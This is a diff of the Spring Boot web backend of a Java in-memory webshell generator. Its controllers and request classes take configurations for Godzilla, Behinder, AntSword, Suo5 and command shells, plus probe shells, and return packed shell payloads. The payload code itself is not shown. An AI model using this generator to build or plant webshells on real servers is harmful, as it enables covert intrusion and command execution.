implementation("org.springframework.boot:spring-boot-starter-web")
|
||||
implementation(libs.commons.lang3)
|
||||
compileOnly("org.projectlombok:lombok")
|
||||
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
||||
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
||||
annotationProcessor("org.projectlombok:lombok")
|
||||
testImplementation("org.springframework.boot:spring-boot-starter-test")
|
||||
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
|
||||
}
|
||||
|
||||
tasks.test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
@@ -1,6 +1,5 @@
|
||||
package com.reajason.javaweb.boot;
|
||||
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.springframework.boot.SpringApplication;
|
||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||
|
||||
@@ -8,10 +7,11 @@ import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||
* @author ReaJason
|
||||
*/
|
||||
@SpringBootApplication
|
||||
@Slf4j
|
||||
public class BootApplication {
|
||||
|
||||
public static void main(String[] args) {
|
||||
|
||||
SpringApplication.run(BootApplication.class, args);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,13 +1,10 @@
|
||||
package com.reajason.javaweb.boot.api;
|
||||
|
||||
import com.reajason.javaweb.GenerationException;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.springframework.http.HttpStatus;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.bind.annotation.ExceptionHandler;
|
||||
import org.springframework.web.bind.annotation.ResponseStatus;
|
||||
import org.springframework.web.bind.annotation.RestControllerAdvice;
|
||||
import org.springframework.web.servlet.resource.NoResourceFoundException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -16,29 +13,10 @@ import org.springframework.web.servlet.resource.NoResourceFoundException;
|
||||
@RestControllerAdvice
|
||||
@Slf4j
|
||||
public class GlobalExceptionHandler {
|
||||
|
||||
@ResponseStatus(HttpStatus.NOT_FOUND)
|
||||
@ExceptionHandler(NoResourceFoundException.class)
|
||||
public ResponseEntity<?> handleNoResourceException() {
|
||||
return ResponseEntity.status(HttpStatus.NOT_FOUND).build();
|
||||
}
|
||||
|
||||
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
||||
@ExceptionHandler(GenerationException.class)
|
||||
public ErrorResponse handleGenerationException(GenerationException exception) {
|
||||
return new ErrorResponse(exception.getMessage());
|
||||
}
|
||||
|
||||
@ResponseStatus(HttpStatus.BAD_REQUEST)
|
||||
@ExceptionHandler(IllegalArgumentException.class)
|
||||
public ErrorResponse handleIllegalArgumentException(IllegalArgumentException exception) {
|
||||
return new ErrorResponse(exception.getMessage());
|
||||
}
|
||||
|
||||
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
||||
@ExceptionHandler(Throwable.class)
|
||||
public ErrorResponse handleThrowable(Throwable throwable) {
|
||||
log.error("Internal Exception", throwable);
|
||||
log.error("请求出错", throwable);
|
||||
return new ErrorResponse(throwable.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,21 +0,0 @@
|
||||
package com.reajason.javaweb.boot.config;
|
||||
|
||||
import org.springframework.context.annotation.Bean;
|
||||
import org.springframework.context.annotation.Configuration;
|
||||
import org.springframework.http.client.SimpleClientHttpRequestFactory;
|
||||
import org.springframework.web.client.RestTemplate;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
@Configuration
|
||||
public class WebConfig {
|
||||
|
||||
@Bean
|
||||
public RestTemplate restTemplate() {
|
||||
SimpleClientHttpRequestFactory factory = new SimpleClientHttpRequestFactory();
|
||||
factory.setConnectTimeout(3000);
|
||||
factory.setReadTimeout(3000);
|
||||
return new RestTemplate(factory);
|
||||
}
|
||||
}
|
||||
@@ -1,24 +0,0 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import org.springframework.asm.ClassReader;
|
||||
import org.springframework.cglib.core.ClassNameReader;
|
||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestBody;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/11/10
|
||||
*/
|
||||
@RestController
|
||||
@CrossOrigin("*")
|
||||
public class ClassNameParseController {
|
||||
|
||||
@PostMapping("/api/className")
|
||||
public String className(@RequestBody String classBase64) {
|
||||
return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
|
||||
}
|
||||
}
|
||||
@@ -1,143 +1,58 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
||||
import com.reajason.javaweb.memshell.ServerFactory;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.boot.entity.Config;
|
||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import java.util.*;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/api/config")
|
||||
@RequestMapping("/config")
|
||||
@CrossOrigin("*")
|
||||
public class ConfigController {
|
||||
|
||||
@RequestMapping("/servers")
|
||||
public Map<String, List<String>> getServers() {
|
||||
Map<String, List<String>> servers = new LinkedHashMap<>();
|
||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||
for (String supportedServer : supportedServers) {
|
||||
Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer)
|
||||
.getShellInjectorMapping().getSupportedShellTypes();
|
||||
servers.put(supportedServer, supportedShellTypes.stream().toList());
|
||||
}
|
||||
return servers;
|
||||
}
|
||||
|
||||
@RequestMapping("/packers")
|
||||
public List<PackerCategoryDTO> getPackers() {
|
||||
List<PackerCategoryDTO> result = new ArrayList<>();
|
||||
for (Map.Entry<String, List<Packers>> entry : Packers.groupedPackers().entrySet()) {
|
||||
PackerCategoryDTO category = new PackerCategoryDTO();
|
||||
category.setName(entry.getKey());
|
||||
List<PackerOptionDTO> options = new ArrayList<>();
|
||||
for (Packers packer : entry.getValue()) {
|
||||
PackerOptionDTO option = new PackerOptionDTO();
|
||||
option.setName(packer.name());
|
||||
option.setOutputKind(packer.getOutputKind());
|
||||
option.setCategoryAnchor(packer.hasChildren());
|
||||
option.setSchema(packer.getSchema());
|
||||
options.add(option);
|
||||
}
|
||||
category.setPackers(options);
|
||||
result.add(category);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
@RequestMapping
|
||||
public Map<String, Map<?, ?>> config() {
|
||||
public ResponseEntity<?> config() {
|
||||
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||
for (String supportedServer : supportedServers) {
|
||||
AbstractServer server = ServerFactory.getServer(supportedServer);
|
||||
for (Server value : Server.values()) {
|
||||
AbstractShell shell = value.getShell();
|
||||
if (shell == null) {
|
||||
continue;
|
||||
}
|
||||
ShellTool[] supportedShellTools = ShellTool.values();
|
||||
Map<String, Set<String>> map = new LinkedHashMap<>(16);
|
||||
for (String shellTool : server.getSupportedShellTools()) {
|
||||
Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool);
|
||||
for (ShellTool shellTool : supportedShellTools) {
|
||||
Set<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
|
||||
if (supportedShellTypes.isEmpty()) {
|
||||
continue;
|
||||
}
|
||||
map.put(shellTool, supportedShellTypes);
|
||||
map.put(shellTool.name(), supportedShellTypes);
|
||||
}
|
||||
coreMap.put(supportedServer, map);
|
||||
coreMap.put(value.name(), map);
|
||||
}
|
||||
return coreMap;
|
||||
Config config = new Config();
|
||||
config.setServers(
|
||||
Arrays.stream(Server.values())
|
||||
.filter(s -> s.getShell() != null)
|
||||
.map(Server::name)
|
||||
.collect(Collectors.toList())
|
||||
);
|
||||
config.setCore(coreMap);
|
||||
config.setPackers(
|
||||
Arrays.stream(Packers.values())
|
||||
.filter(packers -> packers.getParentPacker() == null)
|
||||
.map(Packers::name).toList()
|
||||
);
|
||||
return ResponseEntity.ok(config);
|
||||
}
|
||||
|
||||
@GetMapping("/command/configs")
|
||||
public CommandConfigVO getCommandConfigs() {
|
||||
CommandConfigVO commandConfigVO = new CommandConfigVO();
|
||||
commandConfigVO.setEncryptors(Arrays.stream(CommandConfig.Encryptor.values()).toList());
|
||||
commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
|
||||
return commandConfigVO;
|
||||
}
|
||||
|
||||
public static class PackerCategoryDTO {
|
||||
private String name;
|
||||
private List<PackerOptionDTO> packers;
|
||||
|
||||
public String getName() {
|
||||
return name;
|
||||
}
|
||||
|
||||
public void setName(String name) {
|
||||
this.name = name;
|
||||
}
|
||||
|
||||
public List<PackerOptionDTO> getPackers() {
|
||||
return packers;
|
||||
}
|
||||
|
||||
public void setPackers(List<PackerOptionDTO> packers) {
|
||||
this.packers = packers;
|
||||
}
|
||||
}
|
||||
|
||||
public static class PackerOptionDTO {
|
||||
private String name;
|
||||
private String outputKind;
|
||||
private boolean categoryAnchor;
|
||||
private Object schema;
|
||||
|
||||
public String getName() {
|
||||
return name;
|
||||
}
|
||||
|
||||
public void setName(String name) {
|
||||
this.name = name;
|
||||
}
|
||||
|
||||
public String getOutputKind() {
|
||||
return outputKind;
|
||||
}
|
||||
|
||||
public void setOutputKind(String outputKind) {
|
||||
this.outputKind = outputKind;
|
||||
}
|
||||
|
||||
public boolean isCategoryAnchor() {
|
||||
return categoryAnchor;
|
||||
}
|
||||
|
||||
public void setCategoryAnchor(boolean categoryAnchor) {
|
||||
this.categoryAnchor = categoryAnchor;
|
||||
}
|
||||
|
||||
public Object getSchema() {
|
||||
return schema;
|
||||
}
|
||||
|
||||
public void setSchema(Object schema) {
|
||||
this.schema = schema;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||
import com.reajason.javaweb.boot.dto.GenerateRequest;
|
||||
import com.reajason.javaweb.boot.dto.GenerateResponse;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/18
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/generate")
|
||||
@CrossOrigin("*")
|
||||
public class GeneratorController {
|
||||
@PostMapping
|
||||
public ResponseEntity<?> generate(@RequestBody GenerateRequest request) {
|
||||
ShellConfig shellConfig = request.getShellConfig();
|
||||
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||
GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||
Packer packer = request.getPacker().getInstance();
|
||||
if (packer instanceof JarPacker) {
|
||||
return ResponseEntity.ok(new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult))));
|
||||
} else if (packer instanceof AggregatePacker) {
|
||||
return ResponseEntity.ok(new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult)));
|
||||
} else {
|
||||
return ResponseEntity.ok(new GenerateResponse(generateResult, packer.pack(generateResult)));
|
||||
}
|
||||
}
|
||||
}
|
||||
-47
@@ -1,47 +0,0 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
|
||||
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
|
||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.JarPacker;
|
||||
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/18
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/api/memshell/generate")
|
||||
@CrossOrigin("*")
|
||||
public class MemShellGeneratorController {
|
||||
|
||||
@PostMapping
|
||||
public MemShellGenerateResponse generate(@RequestBody MemShellGenerateRequest request) {
|
||||
ShellConfig shellConfig = request.getShellConfig();
|
||||
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||
if (request.getPackerSpec() == null) {
|
||||
throw new IllegalArgumentException("packerSpec is required");
|
||||
}
|
||||
Packers packers = Packers.fromName(request.getPackerSpec().getName());
|
||||
Packer<?> packer = packers.getInstance();
|
||||
if (packer instanceof JarPacker) {
|
||||
JarPackerConfig<?> jarPackerConfig = generateResult.toJarPackerConfig();
|
||||
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(jarPackerConfig)));
|
||||
}
|
||||
ClassPackerConfig classPackerConfig = generateResult.toClassPackerConfig();
|
||||
classPackerConfig.setCustomConfig(packer.resolveCustomConfig(request.getPackerSpec().getConfig()));
|
||||
return new MemShellGenerateResponse(generateResult, packer.pack(classPackerConfig));
|
||||
}
|
||||
}
|
||||
-36
@@ -1,36 +0,0 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import com.reajason.javaweb.boot.dto.ProbeShellGenerateRequest;
|
||||
import com.reajason.javaweb.boot.dto.ProbeShellGenerateResponse;
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||
import com.reajason.javaweb.probe.config.ProbeContentConfig;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/8/10
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/api/probe/generate")
|
||||
@CrossOrigin("*")
|
||||
public class ProbeShellGeneratorController {
|
||||
@PostMapping
|
||||
public ProbeShellGenerateResponse generate(@RequestBody ProbeShellGenerateRequest request) {
|
||||
ProbeConfig probeConfig = request.getProbeConfig();
|
||||
ProbeContentConfig probeContentConfig = request.parseProbeContentConfig();
|
||||
ProbeShellResult generateResult = ProbeShellGenerator.generate(probeConfig, probeContentConfig);
|
||||
if (request.getPackerSpec() == null) {
|
||||
throw new IllegalArgumentException("packerSpec is required");
|
||||
}
|
||||
Packers packers = Packers.fromName(request.getPackerSpec().getName());
|
||||
Packer packer = packers.getInstance();
|
||||
ClassPackerConfig classPackerConfig = generateResult.toClassPackerConfig();
|
||||
classPackerConfig.setCustomConfig(packer.resolveCustomConfig(request.getPackerSpec().getConfig()));
|
||||
return new ProbeShellGenerateResponse(generateResult, packer.pack(classPackerConfig));
|
||||
}
|
||||
}
|
||||
@@ -1,20 +1,10 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import com.reajason.javaweb.boot.entity.VersionInfo;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.core.ParameterizedTypeReference;
|
||||
import org.springframework.http.HttpMethod;
|
||||
import org.springframework.http.HttpStatus;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
import org.springframework.web.client.RestTemplate;
|
||||
import org.thymeleaf.util.StringUtils;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -22,70 +12,14 @@ import java.util.Map;
|
||||
*/
|
||||
@RestController
|
||||
@CrossOrigin("*")
|
||||
@RequestMapping("/api/version")
|
||||
@RequestMapping("/version")
|
||||
public class VersionController {
|
||||
|
||||
@Value("${spring.application.version}")
|
||||
private String version;
|
||||
|
||||
private final RestTemplate restTemplate;
|
||||
|
||||
public VersionController(RestTemplate restTemplate) {
|
||||
this.restTemplate = restTemplate;
|
||||
}
|
||||
String version;
|
||||
|
||||
@GetMapping
|
||||
public VersionInfo version() {
|
||||
if (version.endsWith("-SNAPSHOT")) {
|
||||
return VersionInfo.builder()
|
||||
.currentVersion(version)
|
||||
.latestVersion(version).build();
|
||||
}
|
||||
String latestVersion = getLatestGithubRelease();
|
||||
return VersionInfo.builder()
|
||||
.currentVersion(version)
|
||||
.latestVersion(latestVersion)
|
||||
.hasUpdate(!StringUtils.equals(version, latestVersion))
|
||||
.build();
|
||||
}
|
||||
|
||||
private String getLatestGithubRelease() {
|
||||
try {
|
||||
String latestVersion = tryFetchRelease("https://api.github.com");
|
||||
if (latestVersion != null) {
|
||||
return latestVersion;
|
||||
}
|
||||
latestVersion = tryFetchRelease("https://gh.llkk.cc/https://api.github.com");
|
||||
if (latestVersion != null) {
|
||||
return latestVersion;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
public String version() {
|
||||
return version;
|
||||
}
|
||||
|
||||
private String tryFetchRelease(String baseUrl) {
|
||||
String apiUrl = String.format("%s/repos/%s/%s/releases", baseUrl, "ReaJason", "MemShellParty");
|
||||
|
||||
ResponseEntity<List<Map<String, Object>>> response = restTemplate.exchange(
|
||||
apiUrl,
|
||||
HttpMethod.GET,
|
||||
null,
|
||||
new ParameterizedTypeReference<>() {
|
||||
}
|
||||
);
|
||||
if (response.getStatusCode() == HttpStatus.OK && response.getBody() != null) {
|
||||
List<Map<String, Object>> body = response.getBody();
|
||||
for (Map<String, Object> map : body) {
|
||||
String targetCommitish = (String) map.get("target_commitish");
|
||||
Boolean prerelease = (Boolean) map.get("prerelease");
|
||||
Boolean draft = (Boolean) map.get("draft");
|
||||
if ("master".equals(targetCommitish) && !prerelease && !draft) {
|
||||
String tagName = (String) map.get("name");
|
||||
return tagName.startsWith("v") ? tagName.substring(1) : tagName;
|
||||
}
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,70 +1,16 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.springframework.core.io.ClassPathResource;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.util.FileCopyUtils;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.InputStreamReader;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/19
|
||||
*/
|
||||
@Controller
|
||||
@Slf4j
|
||||
public class ViewController {
|
||||
@GetMapping("/")
|
||||
public String index(){
|
||||
return "redirect:/ui";
|
||||
}
|
||||
|
||||
@GetMapping({"/api/search", "/api/search.data"})
|
||||
@ResponseBody
|
||||
public String handleSearch(HttpServletRequest request, HttpServletResponse response) {
|
||||
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
||||
String relativePath = fullPath.substring(1);
|
||||
return renderFileData(relativePath, response);
|
||||
}
|
||||
|
||||
@GetMapping("/ui/**")
|
||||
@SneakyThrows
|
||||
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
|
||||
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
||||
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
|
||||
return "index";
|
||||
}
|
||||
String docPath = fullPath.substring(4);
|
||||
if (docPath.endsWith(".data")) {
|
||||
return ResponseEntity.ok(renderFileData(docPath, response));
|
||||
}
|
||||
return docPath + "/index";
|
||||
}
|
||||
|
||||
private String renderFileData(String relativePath, HttpServletResponse response) {
|
||||
try {
|
||||
String templatePath = "templates/" + relativePath;
|
||||
ClassPathResource resource = new ClassPathResource(templatePath);
|
||||
if (!resource.exists()) {
|
||||
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
|
||||
return "File not found: " + relativePath;
|
||||
}
|
||||
InputStreamReader reader = new InputStreamReader(
|
||||
resource.getInputStream(),
|
||||
StandardCharsets.UTF_8
|
||||
);
|
||||
return FileCopyUtils.copyToString(reader);
|
||||
} catch (IOException e) {
|
||||
response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
|
||||
return "Error reading file: " + e.getMessage();
|
||||
}
|
||||
return "index";
|
||||
}
|
||||
}
|
||||
|
||||
+7
-30
@@ -1,35 +1,30 @@
|
||||
package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import lombok.Data;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellTool.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/18
|
||||
*/
|
||||
@Data
|
||||
public class MemShellGenerateRequest {
|
||||
public class GenerateRequest {
|
||||
private ShellConfig shellConfig;
|
||||
private ShellToolConfigDTO shellToolConfig;
|
||||
private InjectorConfig injectorConfig;
|
||||
private PackerRequestSpecDTO packerSpec;
|
||||
private Packers packer;
|
||||
|
||||
@Data
|
||||
public static class ShellToolConfigDTO {
|
||||
static class ShellToolConfigDTO {
|
||||
private String shellClassName;
|
||||
private String godzillaPass;
|
||||
private String godzillaKey;
|
||||
private String commandParamName;
|
||||
private String commandTemplate;
|
||||
private String behinderPass;
|
||||
private String antSwordPass;
|
||||
private String headerName;
|
||||
private String headerValue;
|
||||
private String shellClassBase64;
|
||||
private String encryptor;
|
||||
private String implementationClass;
|
||||
}
|
||||
|
||||
public ShellToolConfig parseShellToolConfig() {
|
||||
@@ -50,37 +45,19 @@ public class MemShellGenerateRequest {
|
||||
case Command -> CommandConfig.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.paramName(shellToolConfig.getCommandParamName())
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.template(shellToolConfig.getCommandTemplate())
|
||||
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
||||
.build();
|
||||
case Suo5, Suo5v2 -> Suo5Config.builder()
|
||||
case Suo5 -> Suo5Config.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.build();
|
||||
case AntSword -> AntSwordConfig.builder()
|
||||
case AntSword -> AntSwordConfig.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.pass(shellToolConfig.getAntSwordPass())
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.build();
|
||||
case NeoreGeorg -> NeoreGeorgConfig.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.build();
|
||||
case Custom -> CustomConfig.builder()
|
||||
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.build();
|
||||
case Proxy -> ProxyConfig.builder()
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.shellClassName(shellToolConfig.shellClassName).build();
|
||||
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/18
|
||||
*/
|
||||
@Data
|
||||
@NoArgsConstructor
|
||||
public class GenerateResponse {
|
||||
private GenerateResult generateResult;
|
||||
private String packResult;
|
||||
private Map<String, String> allPackResults;
|
||||
|
||||
public GenerateResponse(GenerateResult generateResult, String packResult) {
|
||||
this.generateResult = generateResult;
|
||||
this.packResult = packResult;
|
||||
}
|
||||
|
||||
public GenerateResponse(GenerateResult generateResult, Map<String, String> allPackResults) {
|
||||
this.allPackResults = allPackResults;
|
||||
this.generateResult = generateResult;
|
||||
}
|
||||
}
|
||||
@@ -1,18 +0,0 @@
|
||||
package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/18
|
||||
*/
|
||||
@Data
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
public class MemShellGenerateResponse {
|
||||
private MemShellResult memShellResult;
|
||||
private String packResult;
|
||||
}
|
||||
@@ -1,25 +0,0 @@
|
||||
package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.packer.spec.PackerRequestSpec;
|
||||
import lombok.Data;
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* Packer selection request payload.
|
||||
*/
|
||||
@Data
|
||||
public class PackerRequestSpecDTO {
|
||||
private String name;
|
||||
private Map<String, Object> config = new LinkedHashMap<>();
|
||||
|
||||
public PackerRequestSpec toPackerRequestSpec() {
|
||||
PackerRequestSpec spec = new PackerRequestSpec();
|
||||
spec.setName(name);
|
||||
if (config != null) {
|
||||
spec.setConfig(config);
|
||||
}
|
||||
return spec;
|
||||
}
|
||||
}
|
||||
@@ -1,43 +0,0 @@
|
||||
package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.probe.config.*;
|
||||
import lombok.Data;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/8/10
|
||||
*/
|
||||
@Data
|
||||
public class ProbeShellGenerateRequest {
|
||||
private ProbeConfig probeConfig;
|
||||
private ProbeContentConfigDTO probeContentConfig;
|
||||
private PackerRequestSpecDTO packerSpec;
|
||||
|
||||
@Data
|
||||
static class ProbeContentConfigDTO {
|
||||
private String host;
|
||||
private int seconds;
|
||||
private String server;
|
||||
private String sleepServer;
|
||||
private String reqParamName;
|
||||
private String commandTemplate;
|
||||
}
|
||||
|
||||
public ProbeContentConfig parseProbeContentConfig() {
|
||||
return switch (probeConfig.getProbeMethod()) {
|
||||
case DNSLog -> DnsLogConfig.builder()
|
||||
.host(probeContentConfig.host)
|
||||
.build();
|
||||
case Sleep -> SleepConfig.builder()
|
||||
.seconds(probeContentConfig.seconds)
|
||||
.server(probeContentConfig.sleepServer)
|
||||
.build();
|
||||
case ResponseBody -> ResponseBodyConfig.builder()
|
||||
.reqParamName(probeContentConfig.reqParamName)
|
||||
.commandTemplate(probeContentConfig.commandTemplate)
|
||||
.server(probeContentConfig.server)
|
||||
.build();
|
||||
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -1,18 +0,0 @@
|
||||
package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Data;
|
||||
